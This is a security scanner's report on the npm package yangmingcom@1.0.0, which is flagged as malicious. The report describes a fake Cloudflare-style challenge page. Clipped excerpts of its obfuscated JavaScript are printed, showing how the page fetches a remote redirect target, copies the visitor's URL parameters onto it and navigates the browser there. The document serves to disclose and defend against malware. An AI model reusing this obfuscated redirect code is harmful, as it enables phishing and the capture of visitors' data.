Loading npm security reports…

yangmingcom@1.0.0: Malicious npm security report (Block) | LPM Firewall

registry / yangmingcom / 1.0.0

yangmingcom@1.0.0

AI Security Review

scanned 9d ago · by lpm-firewall-ai

The main HTML is an obfuscated fake challenge page that retrieves a remote destination and redirects the visitor. It forwards query parameters from the current URL to that destination.

Static reason

One or more suspicious static signals were detected.

Trigger

Opening the package main entrypoint in a browser.

Impact

An operator can direct visitors to a remotely controlled destination and receive URL-borne data, enabling phishing or data capture.

Mechanism

A Turnstile callback invokes a redirect routine; obfuscated code fetches remote configuration, appends visitor URL parameters, and navigates the browser.

Attack narrative

The package presents a Cloudflare-style challenge, then loads an encrypted remote redirect target. It copies the visitor's current URL parameters to that target and navigates there after the challenge callback. This creates a remotely controlled phishing and URL-data forwarding flow.

AI rationale

The browser entrypoint contains deliberately obfuscated remote-configured redirect logic rather than a legitimate package function. Its active forwarding of visitor URL parameters to a remotely selected destination is concrete malicious behavior.

Evidence

package.jsonindex.html

Network endpoints2

api.keyval.orgchallenges.cloudflare.com

Decision evidence

public snapshot

Source & flagged code

7 flagged · loading source

index.htmlView file

182} L183: (function(_0x3c3d56,_0x11cc73){const _0x4699dd={_0x4a4d37:0x320,_0x4111b0:0x310,_0x4781fa:0x2bc,_0x277adc:0x3c1,_0x621c0d:0x3b1,_0x134b60:0x1aa,_0x4ea9a5:0x184,_0x1835ed:0x1d6,_0x1...

High

Obfuscated Payload Loader

Source contains an obfuscated payload loader that reconstructs and executes hidden code.

index.htmlView on unpkg · L182

•stage = html_entrypoint_analysis; reason = referenced_script_not_statically_covered; limitedFiles = 1

High

Semantic Analysis Limited

A bounded semantic-analysis stage reached its safety limit; remaining detectors completed, but this package requires AI review.

index.htmlView on unpkg

178ion onTurnstileComplete(token) { if (window.__challengeRedirect) { window.__challengeRedirect(); } } (function(_0x3c3d56,_0x11cc73){const _0x4699dd={_0x4a4d37:0x320,_0x4111b0:0x310,_0x4781fa:0x2bc,_0x277adc:0x3c1,_

High

Ai Review Evidence

The page invokes a challenge redirect after the Turnstile callback.

index.htmlView on unpkg · L178

183a(_0x40fa5a._0x4ef228,_0x40fa5a._0x421c86,_0x40fa5a._0x37cf1a,_0x40fa5a._0xb0e645)]=hostKey;const _0x3857c5=await _0x391748['ikIQY'](fetch,_0x391748['MJMOE'],{'method':_0x391748[_0x1cae1a(_0x40fa5a._0x5769fc,_0x40fa5a._0x312b8e,_0x40fa5a._0x11cbd0,0x2d0)],'headers':_0xaf9e16,'body':JSON[_0xcddc54(-0xcc,-0x9e,-_0x40fa5a._0x48234a,-_0x40fa5a._0x56d739)](_0x317db0)}),_0x23b317=awa

High

Ai Review Evidence

Obfuscated code fetches remote configuration using a host key.

index.htmlView on unpkg · L183

183;}function appendVisitorParams(_0x2981c1){const _0x58a8a5={_0x39f274:0x0,_0x51fc4a:0x8,_0x10ab15:0x8d,_0x94e2b1:0x1},_0x411865={_0x44b402:0x1dc,_0x2fbbb6:0x1d3,_0x3ebcae:0x1cf,_0x3c3803:0x1db,_0x447a4b:0x2e,_0x1eecd6:0x13,_0x2eb3a3:0xb},_0xcbe7b6={_0x49b2a8:0xc7,_0x346b8d:0x76},_0xbbca52={_0xa7e07b:0x114};function _0x40684b(_0x76013e,_0x24c4ff,_0x3c9b2d,_0x46484c){return _0x351ff4(_0x76013e-0x72,_0x24c4ff-0x0,_0x24c4ff,_0x46484c- -_0xbbca52._0xa7e07b);}return new URLSearchParams(window['location'][_0x40684b(_0x58a8a5._0x39f274,_0x58a8a5._0x51fc

High

Ai Review Evidence

The code copies current URL parameters to the resolved destination before navigating.

index.htmlView on unpkg · L183

18305d6d._0x4ad791,_0x605d6d._0x18dd27)](appendVisitorParams,_0x4210cc);function _0x1434b2(_0x36d5a8,_0x1da525,_0x26e288,_0x1e7f98){return _0x1045(_0x1da525- -_0xcd4208._0x5de7cb,_0x26e288);}window[_0x1434b2(-_0x605d6d._0x41ca7a,-_0x605d6d._0x5666b0,-_0x605d6d._0x1428de,-_0x605d6d._0x437f3e)][_0x1434b2(-_0x605d6d._0x11ea8b,-_0x605d6d._0x49cff6,-_0x605d6d._0x291140,-0x200)](_0x4210

High

Ai Review Evidence

The code copies current URL parameters to the resolved destination before navigating.

index.htmlView on unpkg · L183

package.jsonView file

2"name": "yangmingcom", "version": "1.0.0", "main": "index.html", "files": [ "i

High

Ai Review Evidence

The package declares index.html as its main entrypoint.

package.jsonView on unpkg · L2

Source & flagged code

7 flagged

index.htmlView file

Lines 158-186text

158 flex-direction: column;

159 gap: 12px;

160 }

161 .footer-wrapper { display: flex; justify-content: space-between; align-items: center; flex-wrap: wrap; gap: 10px; }

162 .ray-id { font-family: monospace; font-size: 13px; color: #8c8c8c; }

163 .ray-id code { font-family: monospace; font-weight: bold; }

164 .footer-link-wrapper { font-size: 13px; color: #8c8c8c; display: flex; align-items: center; }

165 .footer-text a { color: #0051c3; text-decoration: none; }

166 .footer-text a:hover { text-decoration: underline; }

167 .footer-divider { display: inline-block; width: 1px; height: 12px; background-color: #8c8c8c; margin: 0 10px; }

168 @media (max-width: 600px) {

169 .footer-wrapper { flex-direction: column; align-items: flex-start; }

170 .footer-divider { display: none; }

171 .footer-link-wrapper { flex-direction: column; align-items: flex-start; gap: 4px; }

172 }

173 </style>

174</head>

175<body>

176<script>

177

178 function onTurnstileComplete(token) {

179 if (window.__challengeRedirect) {

180 window.__challengeRedirect();

181 }

182 }

183 (function(_0x3c3d56,_0x11cc73){const _0x4699dd={_0x4a4d37:0x320,_0x4111b0:0x310,_0x4781fa:0x2bc,_0x277adc:0x3c1,_0x621c0d:0x3b1,_0x134b60:0x1aa,_0x4ea9a5:0x184,_0x1835ed:0x1d6,_0x17a0e7:0x1ea,_0x7bf9e5:0x148,_0x5147ad:0x190,_0x27f842:0x194,_0x1b0543:0x317,_0x3ce753:0x32a,_0x1f85e9:0x36b,_0x376438:0x240,_0x139a0b:0x1da,_0x11bb08:0x1c4,_0x2d1ab3:0xd3,_0x5c4eae:0x150,_0x3c2016:0x10a,_0x448f1e:0xef,_0x496c2d:0xc8,_0x20370e:0x1bb,_0x1b0382:0xfc,_0x125cac:0x345,_0x335b0c:0x33a},_0x484d59={_0x269377:0x183},_0x4973e2={_0x220b23:0x2f7};function _0x2ad729(_0x57081a,_0x1f24a5,_0x54394d,_0x33dcd5){ret ...

High

Ai Review Evidence

The page invokes a challenge redirect after the Turnstile callback.

index.htmlView on unpkg · L178

High

Obfuscated Payload Loader

Source contains an obfuscated payload loader that reconstructs and executes hidden code.

index.htmlView on unpkg · L182

High

Ai Review Evidence

Obfuscated code fetches remote configuration using a host key.

index.htmlView on unpkg · L183

High

Ai Review Evidence

The code copies current URL parameters to the resolved destination before navigating.

index.htmlView on unpkg · L183

High

Ai Review Evidence

The code copies current URL parameters to the resolved destination before navigating.

index.htmlView on unpkg · L183

184</script>

185</body>

186</html>

Long lines were clipped for display.

•stage = html_entrypoint_analysis; reason = referenced_script_not_statically_covered; limitedFiles = 1

High

Semantic Analysis Limited

A bounded semantic-analysis stage reached its safety limit; remaining detectors completed, but this package requires AI review.

index.htmlView on unpkg

package.jsonView file

Lines 1-9json

1{

2 "name": "yangmingcom",

3 "version": "1.0.0",

4 "main": "index.html",

5 "files": [

6 "index.html"